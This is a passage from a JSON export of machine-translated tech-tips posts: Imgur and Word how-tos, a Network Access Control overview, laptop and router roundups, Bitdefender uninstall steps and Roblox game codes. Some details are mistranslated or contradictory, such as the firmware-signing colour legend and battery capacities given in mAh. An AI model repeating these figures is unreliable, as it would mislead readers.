a message stating the verification code. Enter this code and check the box I'm not a robot then click the Register button to complete the account registration.\n  How to upload images to Imgur You can upload Imgur images that are stored on your device or publicly available on the Internet.\nTo upload photos to Imgur, you may not need to log in, just click on New post in the upper left corner.\n  However, in this article, I will log in to guide you specifically about many other features.\n- After logging in Imgur, you can click on New post to post photos as always on the image above, or click on the avatar image and select Images to go to the photo management page.\n  - At the photo management page, click Add Images in the upper right corner.\n  - Upload photos you want to save on Imgur. You can upload in many ways, such as browsing photos on your device, dragging and dropping photos, copying and pasting, or filling out image URLs (in case images are available on the Internet).\n  Create photo albums on Imgur To create a photo album, click on All Images , select New Album .\n  Enter a title and description for the album (optional) and then click Save .\n  After the album was created, of course it was still empty. Click Add Images (not the green button) to add photos to the album.\n  Click All images , select the images saved on the Imgur that you want to add to the album, then click Save .\n  Switch between photo management and album management There is a drop-down menu with the initial default of All Images . Click on it to switch back and forth between image management and album management.\n  This drop down menu includes the following values:\nAll Images : Display all images. Non-album Images : Displays images that have not been added to any album. New Album : Create a new album. And below is the list of albums created. Crop, resize and rotate photos Imgur support some features basic photo editing like cut ( crop ), resizing ( resize ) and swivel ( rotate ). To edit an image, move the mouse over the image and then click Edit .\n  Feel free to edit as you like. The Reset button helps restore the image to its original state if you are not satisfied with the recent edits. Once done, click on Apply and Save .\n  Share photos and some other helpful tips Although Imgur is a very simple photo-sharing utility, it also comes with a number of other optional features that you might find great.\nShare On every image page on Imgur, there's a bunch of little icons to share that image on your favorite social networking sites, including Facebook, Pinterest, Twitter and Reddit. Click on the corresponding icon to share on that social network platform.\n  Links and codes After uploading an image, click on it (in the image management page) and you will see on the right is a series of text boxes containing the image's link, as well as the specific code snippet to embed the image ( HTML ) on the web or share it on forums ( BBCode ). Copy and paste the links or code to suit your purpose.\n    Title and description For each uploaded image, you can add a title and description for it. After clicking on the image (in the image management page) to view information, click on View and edit post to view and edit the title and description of the image.\n  Publish photos and community features Immediately after uploading images to Imgur can be shared anywhere. However, you can also publish your image right on Imgur for other users to see and evaluate. To publish an image, open the link to the image and then click Share to community , select Post publicly .\n  Every public image on Imgur can be \"Liked\" ( Like ) or \"disliked\" ( Dislike ) to earn certain \"points\" ( Points ). You can also \"Favorites\" ( Favorite ) photos and post comments, and each comment can be liked or dislike.\n  Create meme After clicking on the Add Images instead upload new photos, you'll see a button to create a meme called Meme Gen . Click here to select an existing popular meme image or upload a new wallpaper for your meme.\n    Then you can edit the text as you like, then click on make this meme!  \u0026nbsp;to save the resulting image.\n  Not only the manipulations I have just guided, there are many other interesting things that you can discover on Imgur. In short, besides popular photo-sharing websites like Flickr or Photobucket, Imgur is also a great way to store your unique photos online. It is especially popular with funny images and memes.\nHopefully after referencing this article, you will be able to use Imgur proficiency to share to the community lots of good and meaningful photos.\nncG1vNJzZmismaXArq3KnmWcp51ktq6z1Ktkppmeqq6tedOhnGaalajBbrvNpaCnnV2ltbDAzmaqoZminruoedOopqU%3D\n","link":"/post/imgur-manual-the-best-online-photo-sharing-tool/","section":"post","tags":null,"title":"Imgur Manual - The best online photo sharing tool"},{"body":"Checking the sign and sign status of iOS versions will help users know the latest iOS version upgrade status for their device and know which version is allowed to downgrade to avoid error status. . Here are 2 ways to check the sign status of iOS firmware that users can choose to use on their iOS device.\nMethod 1: Check through IPSW.ME\nStep 1: Visit the link below and select the product line where you want to check the sign status of fimware.\nhttps://ipsw.me/   Step 2: At the new interface, double-click the device you are using.\n  Step 3: The list of firmware for that device will be displayed including:\nSigned IPSWs: The version is being signed from Apple (in green). Unsigned IPSWs: Version is locked by Apple (in red).   Method 2: Use 3uTools application - iOS all file management application all in one\nStep 1: Visit the link below to download and install the 3uTools tool.\n3uTools.\nStep 2: Open the 3uTools tool, select the Flash \u0026amp; jailbreak tab and Firmware . The operating status of all firmware will be displayed, the green dot is not signed yet, the red dot is locked sign.\n  Users can select product lines and devices to display information more clearly and visually.\nAll information disabilities and how to use 3uTools Instructions for converting videos on iPhone with 3uTools How to use 3uTools to move data on iOS devices? Instructions for creating ringtones on iPhone with 3uTools How to download iPhone apps with 3uTools See more:\nApple released iOS 12 Public beta, updated without configuration from the developer Fixed a bug with Facebook Messenger being escaped on iOS How to join the Apple Beta program to try the latest iOS versions ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJqwrLXNoGStoJViwKqzzWaqrZmkqsBuu8VmoKirXZu2s7nWmqme\n","link":"/post/instructions-for-checking-the-sign-status-of-ios-firmware/","section":"post","tags":null,"title":"Instructions for checking the sign status of iOS firmware"},{"body":"Word editing tool not only brings users the editor, edit content but also on Word we can design document cover page styles, create Word frames for different types of covers, or create covers email on Word. Envelope design options on Word are set to international standards, as the size is always the default size. Besides, this cover section also has some contour patterns for you to use for different objects, such as customers, partners or for personal purposes. The following article will guide you how to design the cover letter on Word.\nWord 2016 Complete Guide (Part 28): How to merge text, merge Mail Merge messages How to create text wallpaper in Word Instructions for attaching files in Word How to insert sound into Word documents How to create and print mail covers on Word Step 1:\nAt the Word interface, click on Mailings and then click on Envelopes to create the cover.\n  Step 2:\nIn the envelope design interface Envelope Options, users enter all the information. At Delivery Address enter the mail recipient address, Return Address to enter your address. Continue clicking the Options button . to customize the envelope size.\n  Step 3:\nIn the interface displays the user to adjust the size for the envelope . If you don't want to change the size of the mail cover, leave it blank.\n  Below can change the font, font for each part of the address entered in the content of the sent message.\n  Click on Priting Options again to reset the mail cover to print if the user needs to print. Select the orientation of inserting the paper into the printer to create the cover letter in the direction of preview in the Feed method section.\n  Step 4:\nGoing back to the interface depending on the letter cover, click on Add to Document to save the envelope design.\n  Continue to press Yes in the notification interface to display the mail cover on Word.\n  Step 5:\nThe result is the cover letter created on Word as shown below.\n  If you want to change the content of the address on the mail or other formats, we must re-enter Envelopes item in Word, enter the new content and then change Change Document to apply the new content.\n  Step 6:\nIn case the user wants to add a frame to the mail cover, click on Design and then select Page Borders .\n  Display the interface with lots of customization for borders, including textures for frames.\n  The result of the user is the frame of the mail cover as shown below.\n  Step 7:\nTo print the envelope after the design has been completed, click Envelopes again and select the Print button to print.\n  So with the style of mail design options in Word, you can easily create the style of mail according to the idea as well as the address content available. The standard sizes of mailing styles are also provided by Word for selection. If you add a border to the cover, your printer must have a color printing mode.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGScp6aav264xK2rnqqjYryvedaoqZ0%3D\n","link":"/post/instructions-for-creating-cover-letters-on-word/","section":"post","tags":null,"title":"Instructions for creating cover letters on Word"},{"body":"With a world of data thieves, virus and virus threats on the network today, the need to follow certain policies, incorporating technology to control network access (Network Access Control - NAC) into the network infrastructure is not an option but rather an indispensable rule. \n However, NAC is not easily defined. It covers a wide range of both meaning and method. This article we only support to clarify to you some basic points about NAC to be able to answer NAC questions to establish what is right for your own environment. NAC is an effective policy, it is almost tightened with your company's work processes. For example, many wireless hotspots at restaurants have deployed basic NAC systems to require users to accept certain conditions in the usage policy before they are allowed to access the network. This is a simple case of NAC, because the restaurant only provides a simple type of network service - that is, Internet access. However, the setting is not the same in environments, such as a hospital network, for example. To answer the question of how to choose the right NAC method for your network, there are two prerequisites that must be satisfied. First, you have to understand what NAC provides, what they do, how to do it, and how they can be integrated into the network. Secondly, the requirements need to be clarified, company security and access policies. NAC systems do not create policies but only force them. Without those policies, the decision to access all members becomes the responsibility of the IT department (the problem is very difficult). Learn NAC\n  Implementing network access must generally involve one of three types of checks. First, as in the previous example of a wireless hot spot, it can be satisfied by simply asking the user to agree to a usage policy before they connect to the network. User identification and machine status are not meaningful for access to be accepted or not.\nThe second type is approving user validity and the third is approving machine status validity. Two types of checks are rarely used for total denial of access or full access. When using user validation, there will be different levels of access for different users. For administrators, priority is given to full access while other users will be limited to some applications. Machine status is the state of the computer related to the established security policy. If the policy is in a Windows computer that has upgraded patches for the operating system, the connection will be restricted until the patch request is completed in the access machine. By ensuring that the machines have security policy requirements, destructive failures due to network worms and viruses can be significantly reduced. The limited connection that users are allowed before a complete network connection is allowed is an isolated state. This quarantine status does not mean that all access is locked. Security policies can allow a quarantined machine to access and download updated antivirus software files. When planning a NAC deployment, you need to understand the basic quarantine methods, its limitations and how they can link to your network infrastructure. Isolation method Since the new network was shared, manual isolation methods have been implemented using access control lists on routers and switches. The policy parameters include the source and destination addresses, TCP and the user data protocol port, IP protocol and MAC address. From the network architecture standpoint, this requires inline addition. The inline NAC method automates the process of managing access control lists. Another method involves assigning virtual LANs (VLANs) to isolate machines that are isolated from the corporate network. A relatively simple method is to use dynamic host configuration protocol (DHCP) to assign a client to different networks. This method not only puts the machine into a limited VLAN layer 3, but also allows other client configurations such as DNS servers. For example, all Web page requests can be resolved within a Web server to display the usage policy with an ' Accept ' button. In many complex switch infrastructures, an NAC system can be used in conjunction with switches to dynamically configure the machine's switch port to become a member of a certain VLAN. By default, all switch ports on the NAC protected network are designed to isolate VLANs with limited access. When the NAC system detects that the machine has some NAC requirements, it instructs the switch to change the port by providing the system with a less restrictive VLAN. Some NAVs use 802.1x not only for authentication but also for using Extensible Authentication Protocol to remember system status information. Like the VLAN port method, access based on the established security policy is implemented at the switch port level. Later there is an address resolution protocol (ARP) method, which is in the inline environment by managing the client's ARP table. The NAC device is located at the switch's entry point (sometimes referred to as the SPAN port) and meets the ARP requirements for the port. NAC inserts the MAC address into the client's ARP table, thereby asking the client to send all non-local traffic to the NAC. When the system satisfies NAC parameters it will be allowed to communicate with the correct port. Each method has different protection. With DHCP, a user can statically assign his machine a valid public address, so it can bypass DHCP isolation. ARP can also be exploited by manually creating an ARP input for the port if the MAC address for the port is exposed. However, most NAC systems have some countermeasures against these scams. The core of access must also be considered. For example, unlike port level NAC solutions, inline NAC provides rigid control over the company's backbone network and the Internet, but access to machines on the same NAC side is not restricted. In other words, machine A can still fully access machine B if both are on the same switch after the NAC. User credentials Verifying user identity is an important component in NAC systems. In the simplest case as in stores with a hot spot, for example, a user is allowed what can be called a guest if he agrees to follow a user policy. In other cases, other restrictive access methods may be much more useful. In a simple authentication environment, a NAC can query a RADIUS server to determine whether the user is allowed to access the intranet and the Internet. If the user exists and their password is correct, a full access will be granted to this user, but no default policy (for those who are not authorized) only grants common ports for visitors. Internet access (such as http, https, . is distinguished by company privacy policy). With more complex environments, high-level managers need access to ERP systems, network administrators need access to the server, insurance regulators need to access the database. whether, user-based policies can be created here. By pairing with the Lightweight Directory Access Protocol (LDAP) or Active Directory server, user role types can indicate acceptable access levels of authentication personnel for systems and applications. From a user perspective, authentication can be done through a number of methods. The simplest method is Web-based; however, this method requires opening the browser regardless of the application that made the access. Anything that the URL requires the browser to go to the NAC login page. Other methods use local software to go through authentication information. Machine status  Computer worms can cripple the corporate network, infiltrate data, and disable critical systems. It is like a vulnerability in network machines. Most NAC implementations have a method of performing this vulnerability assessment on the client to check if the machine is compromised or vulnerable and freezes them as the policy states. There are three basic types of security status assessment: external, internal, and transmission. External evaluation includes a central server that performs a scan for the client. Many NAC systems use changing Nessus scans for vulnerabilities and malicious code software. However, clients protected by firewalls can reduce the effectiveness of this scan. Evaluating the internal state involves installing an agent on the machine to be able to manage authentication, perform assigned tests on the client and report the results to the NAC system. For example, in a Windows environment, the anti-virus installation produces a registry key that can be checked. Obviously, it can be seen that the key can be manually inserted to trick this process. In other cases, the agent can check the presence of a specific file on the local machine, regardless of the operating system. Data transmission analysis is a much more positive method. Like intrusion prevention tools, this method uses NAC systems to scan network traffic and look for known signs of malicious code. A machine that has been allowed full access but then becomes a poisoned machine and starts to take dangerous actions will be closed access to the network immediately. Some advanced NAC systems have a higher level of detection by relying on the operating system identification to specify which access policies should be applied. Typically, there will be more tests performed on Windows machines than other operating systems. Breaking the OS detection is possible, depending on which method is used. For example, if detection is based on what the client browser reports, the user can simply reconfigure the browser so that it appears as if it is running on another operating system. It is quite fortunate that operating system identification techniques (such as TCP footprint checking) are constantly being developed more sophisticatedly, thus reducing such disruption. Open source options \n Clearly, some of NAC's basic rootstrokes can show open source initiatives and have some open source systems with many different features. When NAC technology is established for the mainstream market, having an open source option may be ideal depending on the necessities and NAC system policies that will be enforced. The commercial system has more features than open source copies and they also have more support. But that is not really a problem. It does not mean that open source will become weak. There have been a few open source systems with sophisticated detection, verification and isolation capabilities. Why not go in the direction of open source? If there is an open source system that provides all the necessary functions and technical aspects, the cost of deployment is basically low. Moreover, although it may not have the support of media carriers, in some cases, third-party companies also provide a lot of support and often have their experts answer for problems about it.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuusStrqiqm2KupK%2FErKpmm5%2BjwbO7yw%3D%3D\n","link":"/post/learn-about-network-access-control/","section":"post","tags":null,"title":"Learn about Network Access Control"},{"body":"The Lenovo ThinkPad X390 has several advantages. It's thin, light, especially for a business laptop, and very powerful, while maintaining the famous 'giant' keyboard of ThinkPads.\nIn today's article, let TipsMake.com evaluate the details of this laptop and see if it suits your needs.\nSpecifications and features of Lenovo ThinkPad X390 The price of ThinkPad X390 can vary greatly according to the configuration. For a minimum cost of $ 899, you get 8GB of RAM and an Intel Core i5-8265U processor. However, the low-resolution 1366x768 screen and the meager 128GB SSD are a bit difficult to accept.\nThe test computer has an Intel Core i7-8565U processor and 16GB DDR4 RAM, a 13.3-inch touchscreen, 1920x1080p and a 512GB SSD. It also includes a fingerprint reader and infrared camera for Windows Hello. All of these items cost up to $ 1,689 (VND 38.9 million).\nYou get a lot of ports, including 2 USB-A ports, 2 USB-C ports (a Thunderbolt 3), HDMI 1.4 and a Kensington Lock slot. There is also a removable tray on the back for MicroSD and nano-SIM cards.\nDesign and screen Unlike the ThinkPad L390 Yoga 'sibling, the ThinkPad X390 doesn't have a 360-degree hinge. Instead, it folds 180 degrees, so the screen can lie flat on a table.\nIn return, the bezels measure just 0.38 inches (less than 1cm). The device weighs about 2.9 pounds (1.3kg).\nThe X390 uses an IPS panel, which is said to provide excellent viewing angles. However, tilting the screen changes the brightness significantly. No matter which angle you choose, colors appear faded and eyes start to feel a little uncomfortable in moderate light conditions.\nOn the plus side, the screen is dimmer better at reducing glare. You can also dial the X390 brightness to reduce eye strain in environments such as offices with fluorescent lights.\nKeyboard and touchpad The typing experience is arguably the best thing about having a ThinkPad. Even as other laptop makers try to reduce the thickness of the keyboard to the maximum level, Lenovo still insists on providing its business laptops with thick, luxurious keyboards.\nHowever, the keyboard also seems to make more errors in less than ideal environments (such as putting it on your lap instead of on a table).\nTo maintain the thinness of the machine, Lenovo must trade the X390 touchpad. Like other ThinkPads, the X390 still offers dedicated left and right buttons. You can always press the touchpad to select something, but this is not the ideal touchpad for people who like the feeling of clicking down.\nSecurity, camera and audio The Lenovo ThinkPad X390 webcam is a typical 720p model, but has a physical privacy shutter. Just slide it into place and a subtle red dot covers the lens to confirm that no one will be able to snoop on you. Lenovo also plans to provide a 'PrivacyGuard' screen to prevent prying eyes.\nThe ThinkPad X390 offers both fingerprint reader and infrared sensor for Windows Hello's facial recognition feature. It's great to have both options on a laptop, but keep in mind that facial recognition will not work when the shutter covers the webcam.\nSound quality is seldom a priority on business laptops, and so is the case with the ThinkPad X390, which lacks bass and is not particularly loud. However, Lenovo says it uses a new audio signal processor to eliminate noise on the microphone and this gives great results.\nEfficiency The ThinkPad X390 doesn't overheat on the underside, thanks to a vent that blows to the right. The system fan operates fairly quietly when performing a basic workload.\nHowever, there is a warning for 'Better Battery' setting. For example, while using the Tweeten application in Windows, scrolling seems unstable and web links take a while to load. Setting up the X390 in parallel with the Lenovo ThinkPad L390 Yoga (with a smaller i5-8265U CPU and half the RAM), the ThinkPad L390 Yoga loads web pages faster in Better Battery settings. However, in the 'Best Performance' setting, the X390 regained its lead.\nOn PCMark 8's Work 2.0 test, the ThinkPad X390's score was 3,784, ranking first among all other thin and light laptops tested (only HP Specter x360 and Samsung 1995 Notebook 9 Pro scored close equal).\nHandBrake is another highlight for the ThinkPad X390, which takes about 65 minutes to encode a test .MV video file into a smaller .MP4 file. The Dell XPS 13 gives better results, but overall, the ThinkPad X390 makes good use of its quad-core CPU for long periods of heavy-duty handling.\nFor the Cinebench test, the X390 falls in the middle of the Core i7-8565U laptops for multi-threaded performance. That means the ThinkPad X390 did well in single-threaded testing, better reflecting the applications most people use.\nThe X390 scored well on the 3DMark Sky Diver 1.0 test, at least for a laptop with integrated graphics. In fact, this doesn't make much sense, because you still want a dedicated GPU to play modern 3D games.\nBattery life is the only significant weakness.\nMany other factors can affect battery life, including brightness, screen resolution, and workload intensity. The ThinkPad X390 has a challenge: its 49,410 mAh capacity is smaller than rivals like HP Specter x360 (61,000 mAh) and Samsung Notebook 9 Pro (54,050 mAh). Batteries add weight and cost, so this is the tradeoff needed in thinner, lightweight laptops.\nShould you buy Lenovo ThinkPad X390? The Lenovo ThinkPad X390 is a laptop with impressive performance and many useful features for businesses. However, compared to the price, users expect a better experience with the screen, keyboard and touchpad.\nAdvantages\nReliable performance Extremely thin and light for a business laptop Lots of ports and security features Defect\nThe dim display looks pale and uncomfortable under moderate lighting conditions The keyboard and trackpad are a bit bad Battery life is worse than that of similar laptops ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqSVo7y3u4ytn6Kmm6WupXnXbHBpZZWtsKa4y56lrWWSqsCqusSsqmakkaXBsLw%3D\n","link":"/post/review-lenovo-thinkpad-x390-excellent-business-laptop/","section":"post","tags":null,"title":"Review Lenovo ThinkPad X390: Excellent business laptop"},{"body":"Boasting premium features for both free and paid versions, Bitdefender is one of the best antivirus tools available and has become one of the most popular consumer solutions available today. .\nHowever, users of this highly rated software at some point may want to remove the software from their PC, be it because their subscription has expired or because they are looking to try a different antivirus provider. to replace.\nWhile uninstalling Bitdefender is easy, not doing so in the recommended manner outlined below may result in unwanted files remaining on your machine, resulting in problems installing a program. other viruses.\nFollow TipsMake 's instructions \u0026nbsp;and the whole process should take no more than 10 minutes.\nHow to Uninstall Bitdefender on Windows Step 1. First, click Start , then click Settings. Then click the Apps icon on the left panel.\n  Step 2. Find the Bitdefender product you want to remove and select Uninstall. Click Uninstall again to confirm your choice. If the Windows user account control prompt is displayed as above, select Yes.\n  Step 3. Uncheck the box if you don't like filling out the Bitdefender survey, then click Remove and click Next to continue.\n  Step 4. Wait for the uninstallation to complete.\n  Step 5. If you have finished uninstalling all the Bitdefender programs that you want to remove, click Restart device to restart the system.\n  However, if there are still other Bitdefender programs on your system, such as Bitdefender Agent or Bitdefender VPN that you want to remove, click close and repeat the above steps for the rest of the programs. It should be noted that you need to uninstall Bitdefender VPN before you can uninstall Bitdefender Agent.\nIf you are looking to completely remove the program and all its associated files and settings, Bitdefender recommends using its own uninstallation tools in the final step.\nStep 6. Go to Bitdefender's website and select the type of Bitdefender program you are trying to uninstall: Paid or Trial version. Then select the uninstall tool corresponding to your Bitdefender version, download and run it. If the Windows UAC prompt is displayed, select Yes.\n  Step 7. Confirm that you want to uninstall. Finally, click Restart to complete the process.\n  Work completed! Bitdefender is now completely removed from your system.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqruqutKtmKWkXZe2tbDEn5ynnJWnerC6jLCgp5yfrMA%3D\n","link":"/post/steps-to-uninstall-bitdefender-on-windows/","section":"post","tags":null,"title":"Steps to Uninstall Bitdefender on Windows"},{"body":"For those who love anime, it is definitely impossible to ignore anime-style games in Roblox such as Grand Piece Online, Nok Piece.\nAnother popular anime-style game is All Star Tower Defense. If other anime games simulate characters and elements such as strength and skills according to an anime series, All Star Tower Defense will have characters from the most popular anime series such as Dragon Ball Z, Naruto, One Piece.\nCode All Star Tower Defense will give you more gems, EXP and sometimes character skins. Some of the latest All Star Tower Defense giftcodes below will give players the above items.\nThe latest All Star Tower Defense Giftcode and instructions for entering the code The latest All Star Tower Defense Code now diamondnowina - 150 Gems (new) ohmahgawdskill - 150 Gems yellowsix - 150 gems tysmfor1mfavorite - Redeem code for 750 Gems, 750 gold, and EXP III Some old All Star Tower Defense codes   The codes below have codes that may have expired and also have codes that are still expired. Try some code to see if you can get gems or exp.\nsmoothcriminal2 - 150 Gems jahajha - 150 Gems shotofmemories - 150 Gems quickshut - 100 Gems lieawake - 150 Gems freedom - 150 Gems likeapartyonthelist - 150 Gems 1bvisit1b - 1,000 Gems 1billionvisit21drip - 200 Gems, 300 Gold, and Koku Drip Skin eastercoda21 - 150 Gems helloworld2021 - 150 Gems somemorenewcode - 150 Gems isitthenewerayet - 150 Gems hchgaming - 150 Gems How to enter the code All Star Tower Defense To enter the ASTD code, look for the settings gear icon in the lower right corner of the screen. Open the menu and you will see a small box with the word Enter Code. Please copy or enter the codes above and press Enter to receive the corresponding reward.\n  You should change the above codes as soon as possible because you never know when they will expire. All of the above codes were tested on the day they were released. If you see any expired code, please comment below this article to help us.\nLatest All Star Tower Defense code ncG1vNJzZmismaXArq3KnmWcp51kwamxjKWYrZ2jqXqiuMtmqq2ZomLBsMPEq2SdnZaau7SxjGtna2ldmLylsQ%3D%3D\n","link":"/post/the-latest-all-star-tower-defense-2021-code/","section":"post","tags":null,"title":"The latest All Star Tower Defense 2021 Code"},{"body":"Tenda product range includes routers, switches, broadband CPE, gateway, powerline, mobile broadband, and IP cameras for home and business. Here are the top 5 best Tenda WiFi routers of 2021\nThe first home network equipment manufacturer in China, Tenda, founded in 1999 mainly focuses on innovation, ease of use and affordable price for a network solution.\nTenda product range includes routers, switches, broadband CPE, gateway, powerline, mobile broadband and IP cameras, etc. for home and business. Tenda established a partnership with Broadcom in 2012 and uses the most advanced chips to ensure the most reliable networking solutions for the world.\nHere are the top 5 best Tenda WiFi routers of 2021.\n1. Tenda F303 Wireless N300 Easy Setup Router\u0026nbsp;   The WISP function helps you to connect to the Internet wirelessly Two high-gain antennas greatly increase the wireless signal's robustness and stability Easy wireless security encryption at the touch of a WPS button 300Mbps wireless speed is ideal for interruption sensitive applications like video streaming A 3-year warranty is provided by the manufacturer from the date of purchase 2. Tenda W316R 150Mbps Wireless N Router\u0026nbsp;   Wireless Internet Sharing: Allows broadband Internet sharing and free wireless Internet use in your home / office Backward compatible: Backward compatible with 802.11b / g devices, you can upgrade your network to the latest n version for a lower cost Easy Setup: The world's most intuitive utility interface guides you through setting up a secure network in 3 steps N speed: Provides wireless speed up to 150Mbps, 4 times faster than conventional wireless g devices Enhanced wireless range: Delivers better wireless performance and faster file transfers based on 802.11n technology Secured connection: WPA / WPA2 enhances data protection and privacy. WPS allows you to quickly set up a secure network, eliminating complicated encryption codes 3. Tenda N300 Wireless WiFi Router with 5dBi high power antenna (F3)   3 high gain 5dbi antennas for improved WiFi coverage Bandwidth Control based on IP Fast downloads and lag-free online gaming at speeds of up to 300Mbps An easy setup interface allows for quick configuration 4. Tenda AC1200 AC6 dual band WiFi router   Link up to 20 wireless devices like Google Assistant, Alexa and various streaming devices simultaneously, while maintaining optimal network conditions Manage your network from anywhere using the Tenda WiFi app and access useful tools, like the parental friendly WiFi Timeout feature Enjoy a secure and secure Internet connection for you and your home, with WPA / WPA2 PSK hybrid security and industry-grade password encryption 3 year warranty Get a lightning-fast connection for all wireless devices by upgrading to Tenda advanced 1200Mbps high speed WiFi (300Mbps on 2.4Ghz + 867Mbps on 5Ghz band) 4 omnidirectional antennas with Beamforming and MU MIMO technology, providing high-speed Internet throughout the home and providing seamless coverage\u0026nbsp; 5. AC1200 AC10U Dual Band Smart Gigabit WiFi Router   Link up to 30 wireless devices like Google Assistant, Alexa and various streaming devices simultaneously, while maintaining optimal network conditions Manage your network from anywhere using the Tenda WiFi app and access useful tools, like the parent-friendly WiFi Timeout feature Power input: 100 - 240V - 50 / 60hz Enjoy a secure and secure Internet connection for you and your home, with WPA / WPA2 PSK hybrid security and industry-grade password encryption Stream in 4K across multiple devices and get a lightning-fast connection by upgrading to Tenda's advanced 1200Mbps high-speed WiFi (300Mbps on 2.4Ghz + 867Mbps on 5GHz band) 4 omnidirectional antennas with Beamforming and MU MIMO technology, providing high-speed Internet throughout the home and providing seamless coverage up to 186m² 4 Gigabit LAN ports provide fast and secure wired connection when you need it Above are some of the best Tenda routers today that TipsMake wants to recommend to readers. Besides these options, you can check out the detailed review of some other Tenda routers in the more section below!\nWish you find the right choice for you!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq1sc2dmGavmZu2br7OrqueqqNif3F%2BkA%3D%3D\n","link":"/post/top-5-best-tenda-wifi-routers-2021/","section":"post","tags":null,"title":"Top 5 best Tenda WiFi routers 2021"},{"body":"Here is a list of 5 high-end laptops that help you run well with graphics and gaming to help you get work and play done at home.\n1. MacBook Pro 2020 (Note: install windows with Bootcamp) The MacBook has always had a certain place in the laptop industry. And the highest-end, most powerful Pro line of course can meet even the most demanding needs with the ability to multitask smoothly. The latest generation MacBook Pro 2020 is equipped with a 10th-generation Intel chip and provides 80% faster performance than its predecessor. New integrated Intel Iris Plus graphics card with support chip makes graphics smoother.\nThe MacBook Pro can be said to be perfect inside and out. The stylish monolithic design, class of the product is still in the old style but is made thinner and more flexible. The new Magic Keyboard keyboard design is also appreciated for being easier to press, responsive, quiet and less noise.\n  Referring to the MacBook, there is no need to talk about power or durability\n2. Laptop for graphics and gaming - ASUS ROG Zephyrus S Laptop\u0026nbsp; ROG - Republic of Gamers is the gaming product line of Asus. So we need not have any doubts about the gaming capabilities of this laptop. Besides, it is powerful enough to serve graphics software.\nUnlike many other gaming laptops, the device is thin, compact to be flexible when it is needed to move, although the colors and decorative details are still gaming. With ultra-thin screen bezels, we have the same machine size as 14-inch laptop despite the actual 15-inch screen. 1080p resolution is not too impressive, but in return the large screen refresh rate - 144Hz and 3ms response time minimizes lag.\nZephyrus S runs on 9th generation Intel i7 or i9 chip. According to the test, the machine can open 40 browser tabs at the same time and still play heavy-configuration games like Shadow of the Tomb Raider. So using Photoshop, Lightroom or Illustrator is a small thing.\n  Even though ROG Zephyrus S is a gaming laptop, there are a few details devoted to making graphics\n3. MSI Prestige 15 laptops MSI is famous for its gaming laptops, but the MSI Prestige 15 is the product for many needs from office work to gaming and entertainment. Its design is therefore also light and elegant, total weight is only 1.6 kg with exquisite monolithic aluminum shell.\nAs a high-end laptop for both games and graphic design, the 15-inch screen is large enough and has high resolutions up to 4K. In addition, it also has MSI's exclusive True Color color technology for true-to-life images.\nThe laptop has up to 2 heatsink fans, 3 heat pipes with Cooler Boost 3 technology. Along with that is the familiar new generation Intel chip, DDR4 RAM and high-speed SSD storage with specific parameters.\n  The MSI Prestige 15 has 2 memory drives, maximizing storage space\n4. ASUS ZenBook S laptop ZenBook is the famous high-end laptop line from Asus for many years. The ZenBook S is for those who need both the internal power and the thin and light look and feel that they don't want to make a huge investment in buying a budget device like the MacBook.\nThe laptop's aluminum outer shell is made of a characteristic concentric pattern, which has its own character. The size of the device is like a file bag so it is easy to carry with you when meeting, need to move. Asus ZenBook S has a smart design, when you open the lid, push down will tilt 5.5 degrees to release natural heat.\nThe screen has an impressive maximum brightness of 323 nits, 116.4% of the sRGB color range, although the resolution is only Full HD. Inside the machine is equipped with INtel i7-8550U chip, 8 GB RAM and 512 GB SSD. Machine can open and use 21 browser tabs simultaneously, even including tabs to open video.\n  The intelligent design lifts the device both to help dissipate heat and to be more comfortable for the user\n5. Dell G5 Laptop - Laptop for graphics and gaming Although not as popular as the aforementioned competitors, the 15-inch Dell G5 is also a high-end laptop with its own market. This product is intended for gamers, but both office workers, business people and content creators can use it well. Laptop elegant design of traditional laptop, sturdy and elegant, but with the highlight on the different hinge.\nAside from the new Intel chip as a matter of course, this laptop has dual drives including both an HDD and a M.2 PCIe SSD, for much larger storage space. 60 Wh battery capacity is enough to plow games for many hours continuously. Even though it is using a Laptop for graphics and playing games, it is also very good.\n  Design Dell G5 with unique and powerful non-seamless hinge\nWith the demand for laptops for graphics and gaming, we are required to invest a large amount of money on laptops. But the value of use that they bring is definitely worth it!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5koaGXnbKvsIylmKmsn6XAbn6Pa2dmqqWju6q6xmaunqScYsSqwMdmnquZoJ22pL%2BMmqWdZZeWuqq6xg%3D%3D\n","link":"/post/top-5-high-end-laptops-2020-running-well-with-graphics-and-gaming/","section":"post","tags":null,"title":"Top 5 high-end laptops 2020 running well with graphics and gaming"},{"body":"Avast Software, a big name in antivirus software, has released a test version of the free antivirus software for Apple Mac users.\n  This antivirus software is a completely new software compared to Ondrej Vicek, Avast's existing security software for Mac computers.\nAccording to Avast, the final version of this antivirus software will also be completely free. The name as well as the official launch date of this software will also be announced soon by Avast.\nSecurity issues of Mac computer users are of great interest in the past few weeks when a new malicious code called Mac Defender appeared. Soon after, Apple also released an update for its security applications to deal with this malicious code.\nAvast Free Antivirus for Mac Beta is compatible with all Mac computers running Mac OS X v10.5 or later. Download here .\nncG1vNJzZmismaXArq3KnmWcp51krret0q1krKeWqcSivsRmqZ6klZbAprCMmmSvoaKqwG7AxKyrZp6fp3qurcI%3D\n","link":"/post/avast-software-released-a-virus-test-for-mac/","section":"post","tags":null,"title":"Avast Software released a virus test for Mac"},{"body":"See the video below to learn more about Basic Actions when working cells and ranges in Excel 2016 :\nBasics of cells and ranges in Excel 2016: A. Introduction B. Learn about cells I. Select a box: II. Select a range of cells:  C. Cell contents I. Insert content: II. Delete cell contents: III. Delete cell: IV. Copy and paste the cell contents: V. Access to many paste options: VI. Cut and paste cell contents: VII. Drag and drop boxes: VIII. Use the fill handle function (a black note in the right corner - below the selected cell): IX. Continue a string with the fill handle:  B. Learn about Excel cells Each spreadsheet is made up of thousands of rectangles, called cells.A cell is the intersection of a row and a column - in other words, where a row and column intersect.\nColumns are defined by letters ( A, B, C ), while rows are determined by numbers ( 1, 2, 3 ). Each cell has its own name - or cell address based on columns and rows. In the example below, the selected cell intersects with column C and line 5, so the cell address is C5 .\n  Note that the 